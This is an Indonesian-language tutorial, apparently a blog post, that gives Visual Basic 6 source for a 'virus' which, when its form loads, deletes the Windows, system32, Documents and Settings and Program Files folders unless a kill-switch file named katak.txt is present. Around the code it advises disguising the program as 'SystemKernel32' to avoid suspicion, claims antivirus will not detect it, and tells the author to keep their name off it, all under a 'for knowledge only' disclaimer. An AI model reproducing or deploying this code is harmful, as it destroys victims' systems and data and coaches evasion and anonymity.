Hati - Hati Dengan Script Sederhana Namun Berbahaya

WARNING: HANYA UNTUK PENGETAHUAN , DILARANG MENGGUNAKAN UNTUK KEPENTINGAN YANG ILEGAL


Tutorial ini untuk membuat virus yang cukup mematikan, tapi simple, dan sepertinya tidak akan terdekteksi antivirus, soalnya cara kerjanya simple.

Yang diperlukan:

1. VB(optimal : 6.0)
2. Paham tombol-tombolnya VB

Tutorial Bikin Virus cuma 1 menit :

1. Buat form sekecil mungkin
2. Didalam form itu, masukin  kode di bawah ini :

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

3.Kode yg warna biru itu penangkal virus, barang kali anda tidak sengaja tekan jadi anda selamat.
   jadi  di folder c:\windows\system32\ kalo ada file namanya katak.txt, anda tidak akan keserang
   sendiri bisa anda edit koq jadi apa gitu.
   Yang warna merah itu folder yang akan didelete sama virus ini, anda edit sendiri
4. Buat project ini namanya seperti nama system, disini aku pakai nama “SystemKernel32″ jadi tidak
    bakal dicurigai
5. Jangan pernah letakan namamu di virus ini.
6. compile it, dan selesai.

WARNING: HANYA UNTUK PENGETAHUAN , DILARANG MENGGUNAKAN UNTUK KEPENTINGAN YANG ILEGAL